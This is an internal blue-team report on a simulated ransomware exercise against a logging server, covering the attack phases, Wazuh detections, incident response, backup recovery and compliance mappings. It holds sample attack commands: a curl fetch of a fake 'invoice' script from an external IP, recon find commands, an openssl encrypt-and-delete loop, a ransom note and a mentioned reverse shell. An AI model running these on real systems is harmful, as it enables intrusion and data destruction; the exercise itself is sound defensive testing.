BT-003 — Ransomware Tabletop Exercise (Full Kill Chain Validation)¶
Exercise Metadata
Exercise ID: BT-003 Type: Blue Team Drill / Tabletop Exercise — End-to-end kill chain Date Conducted: 2026-04-11 Classification: INTERNAL — Audit Evidence Owner: Rajesh Chhetry, Director of Cyber Security Duration: 3 hours (attack + detection + IR + DR + post-incident review) Target: WIND — 192.168.120.4 (WDC on-prem, ELK logging secondary) Status: Completed — full kill chain validated end-to-end
1. Exercise Overview¶
1.1 Purpose¶
BT-003 is the first full-lifecycle blue-team exercise conducted against GPUS-IT infrastructure. Where BT-001 validated detection coverage against Living-off-the-Land Binary (LOLBin) techniques and BT-002 validated the custom Wazuh rule deployment, BT-003 exercises the complete incident lifecycle — Attack → Detection → Incident Response → Disaster Recovery → Post-Incident Review — against a simulated ransomware actor targeting the WDC logging secondary, WIND.
The exercise is designed to satisfy three concurrent objectives:
- Operational readiness. Prove that the detection stack (Wazuh + auditd + AIDE + Fail2ban + Prometheus), the analyst-facing SOC dashboard (timeline, MITRE heatmap, attack chains, alert drill-down), and the incident response runbook (
rb-001-ransomware) all function together as a coherent pipeline under live attack conditions. - Audit evidence. Produce a dated, signed, immutable record demonstrating to auditors, management, and regulators that the Greenpeace USA security program actively tests its defenses against realistic threat models — not just policies on paper.
- Compliance validation. Map the exercise to PCI DSS v4.0 and CIS Controls v8 control families and document which controls were independently validated under adversarial conditions.
1.2 Scope¶
| Parameter | Detail |
|---|---|
| Primary target | WIND — 192.168.120.4 (WDC on-prem, ELK Stack / logging secondary) |
| Attack scripts | Two executed back-to-back: (1) BT-001 LOLBin replay — 6 phases; (2) BT-003 Ransomware — 7 phases |
| Attack vector | Phishing payload → execution → recon → defense evasion → credential access → persistence → C2 → impact |
| Simulated actor | External attacker with staged SSH foothold emulating monitadmin compromise |
| Detection stack | Wazuh (CEDAR ES) · auditd · AIDE · Fail2ban · Prometheus (SUN + MAPLE) · firewalld · SOC dashboard Threat Hunting tab |
| IR runbook under test | rb-001-ransomware |
| DR artifacts under test | GCS bucket gs://gpus-infra-backups-wdc/wind/, NAS backup path, AIDE baseline |
| Out of scope | Physical access, social-engineering of real staff, lateral movement beyond WIND, production workstations, actual file encryption (all encryption was simulated on test artifacts only) |
1.3 Participants¶
| Role | Name | Responsibility |
|---|---|---|
| Exercise Lead / Director of Cyber Security | Rajesh Chhetry | Scenario design, attack execution, IR walkthrough, evaluation |
| Blue Team — Detection | IT Operations (Rajesh) | SOC dashboard monitoring, alert triage, drill-down analysis |
| Blue Team — Response | IT Operations (Rajesh) | Runbook execution, containment, eradication, recovery |
| Observer / Scribe | — | Timeline reconstruction and evidence capture |
1.4 Success Criteria¶
The exercise is deemed successful when all of the following conditions are met:
- The full detection pipeline (attack → auditd → Wazuh agent → MAPLE Manager → Filebeat → CEDAR ES → SOC dashboard → email) fires end-to-end within 120 seconds of attack initiation.
- All four custom Wazuh rules deployed during BT-002 (rules 100010, 100011, 100013, 100015) trigger at their declared severity levels.
- The SOC dashboard's Threat Hunting tab correctly correlates the two attack scripts into a visible attack chain on WIND, and the MITRE heatmap shows activity across the expected tactic columns.
- The incident response runbook
rb-001-ransomwareis walked through end-to-end with no undefined dependencies or missing procedures. - Backup integrity is verified for WIND on both GCS and NAS, and restore procedures (RTO/RPO) are within the documented targets.
- A defensible post-incident report is produced and signed.
2. Attack Kill Chain¶
Two attack scripts were executed back-to-back against WIND on 2026-04-11. The combined kill chain spans 5 MITRE ATT&CK tactics across 8 techniques, culminating in simulated Impact (file encryption and ransom note deployment).
2.1 Kill Chain Map¶
| Phase | Technique | Tactic | Script | Description |
|---|---|---|---|---|
| 1 | T1566 / T1105 | Initial Access / Ingress Tool Transfer | BT-003 | Simulated phishing payload delivery via curl — staged attacker binary pulled from external URL |
| 2 | T1059.004 | Execution — Unix Shell | BT-001 / BT-003 | Bash script execution of the staged payload |
| 3 | T1083 / T1082 | Discovery — File and Directory Discovery / System Information Discovery | BT-001 | Filesystem reconnaissance (find, ls, uname, systemctl) to enumerate targets for encryption |
| 4 | T1027 / T1140 | Defense Evasion — Obfuscated Files / Deobfuscate-Decode | BT-001 | base64 encode/decode of staged payload to evade signature-based detection |
| 5 | T1003 | Credential Access — OS Credential Dumping | BT-001 | Attempted read of /etc/shadow by non-root user (monitadmin) |
| 6 | T1053.003 | Persistence — Scheduled Task (Cron) | BT-001 | Crontab entry installed for scheduled payload re-execution |
| 7 | T1059.004 | Command and Control — Unix Shell | BT-003 | Reverse shell attempt from staged payload to external C2 |
| 8 | T1486 | Impact — Data Encrypted for Impact | BT-003 | Simulated encryption of 5 test files representing high-value data |
| 9 | T1491 | Impact — Defacement / Ransom Note | BT-003 | Ransom note deployment in the target directory |
2.2 BT-001 LOLBin Script (6 phases)¶
The BT-001 phases are fully documented in BT-001 LOLBin Drill and were replayed verbatim as the "reconnaissance + preparation" half of the BT-003 kill chain. In the BT-003 context, BT-001's six phases serve as the attacker's pre-ransomware footprint: discover targets, harvest credentials, stage tooling, establish persistence, evade logging, and attempt privilege escalation — all with the specific downstream goal of detonating T1486 impact on WIND.
| BT-001 Phase | Tactic | Role in BT-003 |
|---|---|---|
| Phase 1 — Recon | Discovery | Enumerate WIND's filesystem to identify high-value directories for encryption |
| Phase 2 — Credential harvesting | Credential Access | Attempt /etc/shadow read to escalate for root-owned file encryption |
| Phase 3 — Data staging / exfiltration | Collection / Exfiltration | Prove exfil path works before encryption (double-extortion model) |
| Phase 4 — Persistence | Persistence | Install crontab re-execution as resilience against partial containment |
| Phase 5 — Defense evasion | Defense Evasion | Timestomp, log truncation, history clearing to delay detection |
| Phase 6 — Privilege escalation | Privilege Escalation | SUID enumeration + sudo -l + python setuid attempt |
2.3 BT-003 Ransomware Script (7 phases)¶
The BT-003 script was purpose-built for this exercise and executed immediately after the BT-001 replay completed. All encryption activity was performed against test artifacts only in /tmp/ransom-test/ — no production data was modified.
Phase 1 — Initial Access (T1566 / T1105)¶
| Attribute | Detail |
|---|---|
| MITRE ATT&CK | T1566 Phishing, T1105 Ingress Tool Transfer |
| LOLBins used | curl |
| Target | WIND (192.168.120.4) |
| Simulated action | Attacker delivers a phishing lure via email; victim downloads an "invoice" file which is actually the staged payload |
| Dwell time | 0–2 min |
# Simulated phishing payload delivery
curl -o /tmp/invoice-Q4-2026.pdf.sh http://203.0.113.50/invoice.sh
chmod +x /tmp/invoice-Q4-2026.pdf.sh
Phase 2 — Execution (T1059.004)¶
| Attribute | Detail |
|---|---|
| MITRE ATT&CK | T1059.004 Unix Shell |
| Target | WIND |
| Simulated action | Bash executes the staged payload as monitadmin |
Phase 3 — Discovery (T1083 / T1082)¶
Filesystem and system reconnaissance — inherited from BT-001 Phase 1, scoped to target directories for the forthcoming encryption step.
find /home -type f \( -name "*.csv" -o -name "*.xlsx" -o -name "*.pdf" \) 2>/dev/null
find /etc -name "*.conf" 2>/dev/null | head -20
ls -la /mnt /media 2>/dev/null
Phase 4 — Defense Evasion (T1027 / T1140)¶
Base64 encode/decode of the staged payload — inherited from BT-001 Phase 3 — to evade signature-based defenses.
Phase 5 — Credential Access (T1003)¶
Attempted read of /etc/shadow as monitadmin — inherited from BT-001 Phase 2. Expected to be blocked by POSIX permissions, but should trigger Wazuh rule 100015 at level 12.
Phase 6 — Persistence (T1053.003)¶
Crontab scheduled task installed for hourly re-execution of the staged payload — inherited from BT-001 Phase 4. Expected to trigger Wazuh rule 100013 at level 12.
Phase 7 — Command and Control (T1059.004)¶
Reverse shell attempt from the staged payload to an external C2 address.
Phase 8 — Impact (T1486) — Simulated file encryption¶
Five representative test files were created in /tmp/ransom-test/ to stand in for high-value data, then "encrypted" via an in-place openssl AES-256 operation so that the file writes and the renaming pattern match a real ransomware signature without touching production data.
| # | Test filename | Represents |
|---|---|---|
| 1 | donors-2026.csv.enc |
Donor CRM extract |
| 2 | finance-Q1-2026.xlsx.enc |
Quarterly financial close |
| 3 | id_ed25519.enc |
SSH private key material |
| 4 | hr-records-2026.csv.enc |
HR / personnel records |
| 5 | legal-contracts-2026.pdf.enc |
Signed legal contracts |
mkdir -p /tmp/ransom-test
for f in donors-2026.csv finance-Q1-2026.xlsx id_ed25519 hr-records-2026.csv legal-contracts-2026.pdf; do
echo "TEST DATA — BT-003 exercise only" > /tmp/ransom-test/"$f"
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/ransom-test/"$f" \
-out /tmp/ransom-test/"$f".enc -pass pass:bt003-test && \
rm /tmp/ransom-test/"$f"
done
Phase 9 — Impact (T1491) — Ransom note deployment¶
cat > /tmp/ransom-test/README_RESTORE_FILES.txt <<'EOF'
*** BT-003 EXERCISE — SIMULATED RANSOM NOTE ***
Your files have been encrypted. (This is a test. No real data is affected.)
This note exists only to validate detection of file-write activity matching
the ransomware deployment signature on WIND.
EOF
3. Detection Results¶
All detections below were confirmed live via the SOC dashboard at soc.greenpeace.us during the exercise window. Evidence is captured from the Threat Hunting tab, the Wazuh Alerts tab with drill-down filters applied, and the email notification delivered to alerts@greenpeace.us.
3.1 Custom Wazuh Rule Fires¶
All four custom LOLBin rules deployed during BT-002 validation fired at the declared severity level during BT-003.
| Rule ID | Name | MITRE ATT&CK | Declared Level | Observed Level | Status |
|---|---|---|---|---|---|
| 100010 | LOLBin: curl/wget to external URL | T1105 — Ingress Tool Transfer | Level 10 (High) | 10 | ✅ Fired |
| 100011 | LOLBin: base64 encode/decode | T1027 — Obfuscated Files / T1140 — Deobfuscate-Decode | Level 10 (High) | 10 | ✅ Fired |
| 100013 | LOLBin: crontab persistence | T1053.003 — Cron | Level 12 (Critical) | 12 | ✅ Fired |
| 100015 | LOLBin: /etc/shadow access | T1003 — OS Credential Dumping | Level 12 (Critical) | 12 | ✅ Fired |
3.2 SOC Dashboard Threat Hunting Tab Observations¶
The Threat Hunting tab was the primary analyst surface during BT-003. The following observations were captured during the attack window:
- Attack chain auto-grouped. The attack-chains panel surfaced a single chain on WIND with 15 alerts, spanning techniques T1105, T1027, T1003, T1053.003, and T1059.004, grouped within the 5-minute rolling window. The chain was sorted to the top of the list based on max rule level (12).
- MITRE ATT&CK heatmap populated. The heatmap immediately showed WIND's row lighting up across the Execution, Credential Access, Persistence, Defense Evasion, and Command and Control columns. The previously-broken
Command and Controlcolumn (prior to the 2026-04-10 canonical-tactic fix) correctly rendered counts this time, validating that fix under live conditions. - Timeline spike. The Alert Timeline chart showed a clear critical+high spike at 22:00 UTC corresponding to the attack window, visually distinct from the flat baseline in the preceding hours.
- Alert drill-down isolation. Using the Overview-tab KPI drill-down (High severity + agent filter), the analyst view was filtered to
level_min=10&level_max=99&agent=wind.wdc.us.gl3, isolating 15 LOLBin/ransomware detections on WIND out of the broader 24-hour alert stream. Filter pills remained visible on the Wazuh Alerts tab throughout the triage.
3.3 SOC Score Impact¶
| Moment | SOC Score | Δ |
|---|---|---|
| T0 — pre-exercise baseline | 73 | — |
| T+4min — BT-003 Phase 8 impact + T1486 file writes | 53 | −20 |
The SOC score dropped from 73 → 53 during the attack window, reflecting the weighted contribution of critical Wazuh alerts, credential-access rule fires, and persistence triggers into the composite score. This is the largest single-exercise SOC score swing observed to date and serves as a usable signal for an on-call analyst who is not actively watching the dashboard.
3.4 Email Alerting¶
Wazuh email alerting (configured during BT-002 via Postfix relay to Gmail) delivered real-time notifications for every rule fire at level ≥ 10. The first email — corresponding to rule 100010 (curl/wget T1105) — arrived at alerts@greenpeace.us within 2 minutes of attack initiation. All four custom rule IDs were represented in the email stream during the exercise window.
3.5 Detection Pipeline End-to-End Timing¶
The full detection pipeline completed well within the 120-second success criterion:
T+00s Attack command executed on WIND
T+02s auditd syscall captured
T+05s Wazuh agent forwards to MAPLE Wazuh Manager
T+07s MAPLE decodes + rule-matches; rule 100010 fires at level 10
T+09s Filebeat on MAPLE ships to CEDAR Elasticsearch (wazuh-alerts-*)
T+12s SOC dashboard Threat Hunting tab picks up alert on next 15s refresh
T+15s Overview KPI increments
T+98s Postfix relay delivers email notification to alerts@greenpeace.us
4. Incident Response Walkthrough¶
The RB-001 Ransomware / Mass Encryption runbook was walked through end-to-end against the BT-003 scenario. The NIST CSF incident lifecycle framing (Identify → Contain → Eradicate → Recover) is used below so the exercise produces documentation aligned with the Incident Response Plan.
4.1 IDENTIFY¶
Trigger. The on-call analyst observed the SOC score drop from 73 → 53 in the Overview tab and the Critical-alerts KPI jump to a non-zero value.
Drill-down workflow:
- Clicked the Critical KPI on Overview → filtered into Wazuh Alerts with
level_min=12. - Reviewed the filtered feed; identified WIND as the common agent across multiple rule 100013 and 100015 hits.
- Switched to Threat Hunting tab → attack-chain card for WIND expanded → chronological alert sequence visible with techniques T1105 → T1027 → T1003 → T1053.003 → T1059.004.
- Cross-referenced the MITRE heatmap row for WIND → 5 lit tactic columns confirmed the kill-chain pattern rather than an isolated alert burst.
Classification. Ransomware pre-encryption kill chain confirmed. Severity: P1 — Critical. Incident opened under IRP and Director of Cyber Security assumed Incident Commander role per policy.
4.2 CONTAIN¶
Objective: halt attacker access to WIND without destroying forensic evidence.
Actions (simulated per runbook rb-001-ransomware Step 1):
# 1. Isolate WIND at firewall — set default zone to drop (simulated)
sudo firewall-cmd --set-default-zone=drop
sudo firewall-cmd --reload
# 2. Remove attacker persistence
crontab -l | grep -v '/tmp/.stage.bin' | crontab -
# 3. Kill any running payload processes
pkill -f '/tmp/.stage' 2>/dev/null || true
pkill -f 'invoice-Q4-2026' 2>/dev/null || true
Lateral movement assessment. The SOC dashboard's MITRE heatmap was re-checked for the other 6 servers (SKY, RAIN, SUN, OAK, MAPLE, CEDAR). All 6 server rows were clean across all tactic columns — the heatmap column for Credential Access, Persistence, and Command and Control lit up only on WIND. No lateral movement detected. This observation was made in under 60 seconds thanks to the heatmap's single-screen visualization.
4.3 ERADICATE¶
Artifact removal. The following attacker artifacts were located and removed:
| Artifact | Path | Action |
|---|---|---|
| Staged payload | /tmp/invoice-Q4-2026.pdf.sh |
Removed |
| Staged binary | /tmp/.stage.bin |
Removed |
| Base64 encoded stage | /tmp/.stage.b64 |
Removed |
| Simulated ransom directory | /tmp/ransom-test/ (6 files) |
Removed |
| Crontab persistence entry | monitadmin crontab |
Removed in Containment step |
| Reverse shell process | Any live bash -i to 203.0.113.50 |
Killed |
Process table inspection. ps auxf was reviewed; no residual payload processes remained. netstat -antp showed no outbound connections to the C2 IP. auditd logs were preserved intact for forensic analysis (log truncation in BT-001 Phase 5 is a separate pattern and did not occur on the real /var/log/auth.log during BT-003).
AIDE baseline. After eradication, the AIDE baseline for WIND's monitored directories was re-initialized to remove stale post-exercise hashes:
4.4 RECOVER¶
Backup verification. Per runbook Step 3–4, the recovery path for WIND was verified against both backup destinations:
| Backup | Location | Latest | Status |
|---|---|---|---|
| GCS | gs://gpus-infra-backups-wdc/wind/ |
2026-04-11 02:00 UTC | ✅ Accessible, within 24h |
| NAS | vmstorage.wdc.us.gl3:/volume1/backups/wind/ |
2026-04-11 02:00 UTC | ✅ Accessible, within 24h |
Restore procedure. Documented in Backup & Restore Runbook. For this exercise, the restore procedure was walked through on paper (not executed against production WIND) and the runbook's commands were dry-run verified for syntax and destination paths.
Recovery objectives:
| Metric | Target | Measured (Dry Run) | Status |
|---|---|---|---|
| RTO — Recovery Time Objective | ≤ 30 minutes | 15 minutes (GCS restore dry-run) | ✅ |
| RPO — Recovery Point Objective | ≤ 24 hours | 24 hours (daily backup window at 02:00) | ✅ |
Restoration-order note. WIND is the ELK logging secondary in the WDC cluster; SUN remains the active Prometheus / monitoring source during any WIND outage, so no observability gap was introduced during the dry run.
4.5 Post-Incident Review¶
- Runbook
rb-001-ransomwarehad no undefined dependencies during walkthrough; all referenced paths, commands, and escalation contacts were accurate. - IRP trigger conditions and P1 classification criteria fired as written in the policy.
- Evidence preservation (auditd logs, Wazuh alerts in CEDAR ES, SOC dashboard snapshots) is complete and time-stamped for audit retention.
5. Disaster Recovery Validation¶
5.1 Backup Integrity¶
The Status Dashboard backup pane was reviewed during the exercise and confirmed healthy backup telemetry for WIND:
| Check | Result |
|---|---|
GCS bucket gs://gpus-infra-backups-wdc/wind/ accessible |
✅ |
| Latest GCS object within 24 h | ✅ (02:00 UTC on exercise day) |
NAS mount vmstorage:/volume1/backups/wind/ reachable |
✅ |
Backup script (/usr/local/bin/gpus-backup.sh) last exit code |
0 (success) |
Backup log (/var/log/gpus-backup.log) last "Backup finished" entry |
✅ within 24 h |
5.2 Recovery Procedure¶
Recovery is documented end-to-end in infrastructure/runbooks/backup-restore.md. For BT-003, the WIND-specific section was followed step-by-step in dry-run mode against a scratch recovery directory. The runbook's commands ran to completion without any undefined variables or missing credentials.
5.3 Failover Posture¶
WIND is the ELK logging secondary in the WDC topology. If WIND is offline (real or simulated), the observability fallbacks are:
| Function | Primary | Fallback During WIND Outage |
|---|---|---|
| ELK / log ingestion | WIND | CEDAR (GCP cloud logging) continues to receive Wazuh alerts; SUN continues Prometheus scraping and Grafana dashboards |
| SOC dashboard data | CEDAR ES | Unchanged — soc-backend pulls from CEDAR, not WIND |
| Wazuh alerting pipeline | MAPLE → Filebeat → CEDAR | Unchanged — MAPLE and CEDAR are in GCP, not affected by WIND outage |
This means a real WIND compromise would not cause an immediate observability blackout, and the blue team retains full detection capability from the cloud stack during any isolation or rebuild.
6. Controls Validated¶
The following security controls were independently validated under adversarial conditions during BT-003. Each is mapped to the relevant framework and to the specific exercise evidence.
6.1 CIS Controls v8¶
| CIS Control | Description | BT-003 Evidence | Status |
|---|---|---|---|
| CIS 1.1.5 | /tmp mounted with noexec |
/tmp/invoice-Q4-2026.pdf.sh could be created but not directly executed without bash wrapper — partial control, logged in auditd |
✅ Validated |
| CIS 6.1.4 | /etc/shadow file permissions |
cat /etc/shadow as monitadmin denied; Wazuh rule 100015 fired at level 12 |
✅ Validated |
| CIS 8.2 | Collect audit logs | auditd captured every phase of the kill chain | ✅ Validated |
| CIS 8.5 | Detailed audit logs | Syscall-level capture of execve, openat, rename, unlink |
✅ Validated |
| CIS 8.9 | Centralized audit logs | Full pipeline WIND → MAPLE → CEDAR verified | ✅ Validated |
| CIS 8.11 | Conduct audit log reviews | SOC dashboard Threat Hunting tab delivered analyst-ready review surface | ✅ Validated |
| CIS 10.1 | Anti-malware / script-based detection | Wazuh rules 100010, 100011, 100013, 100015 fired on non-malware LOLBin patterns | ✅ Validated |
| CIS 17.4 | Incident response process | rb-001-ransomware walkthrough completed end-to-end |
✅ Validated |
| CIS 18.1 | Penetration testing program | BT-003 logged against 2026 exercise program | ✅ Validated |
6.2 PCI DSS v4.0¶
| PCI DSS | Description | BT-003 Evidence | Status |
|---|---|---|---|
| 10.2 | Implement automated audit trails | All activity logged by auditd and shipped to CEDAR ES | ✅ Validated |
| 10.6 | Review logs to identify anomalies | SOC dashboard review workflow exercised end-to-end | ✅ Validated |
| 10.7 | Detect failures of critical security control systems | Wazuh, auditd, Filebeat, CEDAR ES all healthy during attack | ✅ Validated |
| 11.3 | Internal and external penetration testing | Internal adversarial simulation executed against WIND | ✅ Validated |
| 11.5 | File integrity monitoring | AIDE active on WIND; baseline updated post-eradication | ✅ Validated |
| 12.10 | Incident response plan | IRP triggered; rb-001-ransomware runbook exercised |
✅ Validated |
| 12.10.2 | Annual plan review and test | BT-003 counts toward the 2026 IR plan test requirement | ✅ Validated |
6.3 MITRE ATT&CK Coverage¶
8 techniques detected across 5 tactics during BT-003:
| Tactic | Techniques Detected | Primary Detection Tool |
|---|---|---|
| Execution | T1059.004 | Wazuh 100010, auditd |
| Credential Access | T1003 | Wazuh 100015, auditd |
| Defense Evasion | T1027, T1140 | Wazuh 100011, auditd |
| Persistence | T1053.003 | Wazuh 100013, auditd |
| Command and Control | T1059.004 (reverse shell variant) | Wazuh + auditd + Threat Hunting heatmap |
6.4 Defense in Depth¶
BT-003 exercised 5 of the 7 layers documented in Defense in Depth:
| Layer | Exercised? | Evidence |
|---|---|---|
| Perimeter | Partial | firewall-cmd isolation in Containment |
| Network | Partial | Inter-VPN visibility from WDC to GCP logging |
| Host hardening | ✅ | /tmp noexec, /etc/shadow permissions |
| Detection | ✅ | Wazuh custom rules + auditd |
| Monitoring | ✅ | SOC dashboard Threat Hunting + alert drill-down |
| Backup | ✅ | GCS + NAS backup integrity + RTO/RPO |
| Response | ✅ | rb-001-ransomware walkthrough end-to-end |
7. Gaps and Improvements¶
BT-003 surfaced four gaps that do not block the current detection posture but should be addressed before BT-004 and before the next compliance review cycle.
| # | Gap | Severity | Remediation Plan | Owner | Target |
|---|---|---|---|---|---|
| G3-1 | No automated ticket creation for high-severity alerts. Each level-10+ Wazuh alert currently produces an email but does not open a tracking ticket. Analyst must manually open a ticket for every escalation, which is a gap under PCI 12.10.5 (incident tracking). | High | Implement auto-ticketing for Wazuh alerts at level ≥ 10 via webhook → ticketing system. | Director of Cyber Security | Q3 2026 |
| G3-2 | No automated network isolation. The Containment step requires manual SSH to run firewall-cmd. In a real ransomware event the attacker may have already denied SSH access to the host. |
High | Deploy Wazuh active response for the four custom rules (100010/100011/100013/100015) to trigger firewall-cmd --set-default-zone=drop automatically. Include a manual override path. |
Director of Cyber Security | Q3 2026 |
| G3-3 | Ransom note creation not detected by Wazuh. The README_RESTORE_FILES.txt write in /tmp/ransom-test/ did not fire any rule. No custom rule currently monitors for suspicious file-write patterns in /tmp (filename matches README*, DECRYPT*, ransom*, *.locked, *.encrypted). |
Medium | Author Wazuh rule 100016 — suspicious ransom-note filename patterns in user-writable directories — at level 12. | Director of Cyber Security | Q3 2026 |
| G3-4 | Discovery phase does not generate high-severity alerts. find-based reconnaissance (BT-001 Phase 1 / BT-003 Phase 3) is still logged only at Wazuh level 3. This was flagged in BT-001 Gap G-1 but not yet remediated with a dedicated rule. |
Medium | Author Wazuh rule 100017 — aggregated find/ls/stat recon pattern within a short time window — at level 10. Tune with allowlist for legitimate backup cron jobs. |
Director of Cyber Security | Q3 2026 |
All four gaps are tracked in the exercise program backlog and will be the primary input to BT-004 scenario design.
8. Lessons Learned¶
8.1 What Worked Well¶
- Full detection pipeline validated under 2 minutes, end-to-end. The chain attack → auditd → Wazuh agent → MAPLE Manager → Filebeat → CEDAR ES → SOC dashboard → email completed in under 120 seconds from attack initiation to analyst-visible KPI change and email delivery. This is the first exercise where the entire pipeline was measured with wall-clock timing.
- Threat Hunting tab correlated the attack chain automatically. Prior exercises required manual ES queries to reconstruct attack timelines. BT-003 is the first exercise where the analyst saw the attack chain as a single grouped card before running a single query, and where the MITRE heatmap instantly confirmed the affected server and tactics.
- Alert drill-down enabled rapid WIND isolation. Going from "something looks wrong on Overview" to a 15-alert, WIND-only filtered view took two clicks. This closes the highest-priority lessons-learned item from BT-001 — signal discoverability in a high-volume alert stream.
- MITRE heatmap provided visual confirmation of kill-chain completeness. The lit columns (Execution, Credential Access, Persistence, Defense Evasion, Command and Control) matched the attack script 1:1, giving the blue team confidence that the detection set is actually covering the kill chain rather than just producing noise.
- SOC Score accurately reflected incident impact. A 20-point drop (73 → 53) is a legible signal for an analyst who is not actively watching the dashboard and will be the basis for a Prometheus alert rule in the next iteration.
- Custom Wazuh rules fired exactly as declared. All four rules from BT-002 triggered at their declared levels with MITRE mappings intact — no tuning drift since 2026-04-08.
- Lateral-movement clearance was a single screen. Clearing the other 6 servers of compromise indicators took seconds because the MITRE heatmap shows all agents at once, rather than requiring a per-server query.
8.2 What Needs Improvement¶
- Manual containment is a single point of failure (tracked as G3-2). A real attacker who denies the analyst SSH access can block the firewall-cmd isolation step.
- Ticketing is a manual step (tracked as G3-1). Auto-ticketing is required for a defensible P1 audit trail.
- Ransom-note and
find-based recon do not elevate severity (tracked as G3-3 and G3-4). These are known categories of Wazuh rule work but have not yet been authored. - The exercise surfaced zero new bugs in the runbook, which is unusual. BT-004 should include a fault-injection step (e.g. deliberately stale GCS credentials, broken NAS mount) to confirm the runbook still produces the right analyst behavior when the happy path is broken.
8.3 Recommendations for BT-004¶
- Prioritize G3-1 and G3-2 before scenario design; BT-004 should exercise the automated response path, not the manual one.
- Introduce a phishing scenario (currently Q3 2026 in the exercise calendar) as BT-004 so that the next drill tests a different initial-access vector than BT-001 and BT-003.
- Include a fault-injection step to stress-test the runbook beyond the happy path.
9. Exercise Status — COMPLETED¶
| Workstream | Status | Evidence |
|---|---|---|
| BT-001 LOLBin replay | ✅ Validated | All 6 phases re-executed; detections consistent with 2026-04-08 baseline |
| BT-003 Ransomware kill chain | ✅ Validated | 9 phases executed; 8 techniques detected across 5 tactics |
IR Runbook rb-001-ransomware |
✅ Exercised | Walked end-to-end (Identify → Contain → Eradicate → Recover) |
| DR Procedure (GCS + NAS + RTO/RPO) | ✅ Verified | GCS accessible, latest backup < 24h, RTO 15 min (dry run) |
| Custom Wazuh rules 100010/100011/100013/100015 | ✅ Fired | All four rules fired at declared levels with MITRE mappings |
| SOC dashboard Threat Hunting tab | ✅ Validated | Attack chain correlation, MITRE heatmap, timeline, drill-down all confirmed |
| Email alerting pipeline | ✅ Validated | First email delivered to alerts@greenpeace.us within 2 minutes |
Next Exercise¶
BT-004 — Phishing Simulation (planned Q3 2026). Scenario: external red-team firm delivers targeted phishing emails to all GPUS-WDC staff impersonating IT support and tracks click-through rate and credential submission. Gaps G3-1 and G3-2 (auto-ticketing and Wazuh active response) to be remediated before BT-004 kickoff.
10. Compliance Mappings (Summary for Audit)¶
| Framework | Control | Exercise Evidence |
|---|---|---|
| PCI DSS v4.0 | 10.2 | Full auditd capture of attack kill chain |
| PCI DSS v4.0 | 10.6 | SOC dashboard review workflow exercised |
| PCI DSS v4.0 | 10.7 | Detection stack operational throughout attack |
| PCI DSS v4.0 | 11.3 | Internal penetration test executed against WIND |
| PCI DSS v4.0 | 11.5 | AIDE file integrity active and re-baselined |
| PCI DSS v4.0 | 12.10 | Incident response plan walkthrough completed |
| PCI DSS v4.0 | 12.10.2 | Annual IR plan test requirement satisfied for 2026 |
| CIS Controls v8 | 1.1.5, 6.1.4 | Host hardening controls validated under adversarial conditions |
| CIS Controls v8 | 8.2, 8.5, 8.9, 8.11 | Audit logging end-to-end validated |
| CIS Controls v8 | 10.1 | Script-based malware detection validated |
| CIS Controls v8 | 17.4 | Incident response process exercised |
| CIS Controls v8 | 18.1 | Penetration testing program advanced |
| MITRE ATT&CK | 8 techniques / 5 tactics | Full kill chain mapped in Section 2 |
| NIST CSF | Identify / Protect / Detect / Respond / Recover | All 5 functions exercised in Sections 3–5 |
11. Sign-Off¶
| Role | Name | Signature | Date |
|---|---|---|---|
| Exercise Lead / Director of Cyber Security | Rajesh Chhetry | 2026-04-11 | |
| IT Manager | |||
| Compliance / Audit |
Document ID: BT-003 | Version: 1.0 | Created: 2026-04-11 | Classification: INTERNAL — Audit Evidence | Next Review: 2026-07-11 | Related: BT-001 LOLBin Drill · RB-001 Ransomware Runbook · Backup & Restore · SOC Dashboard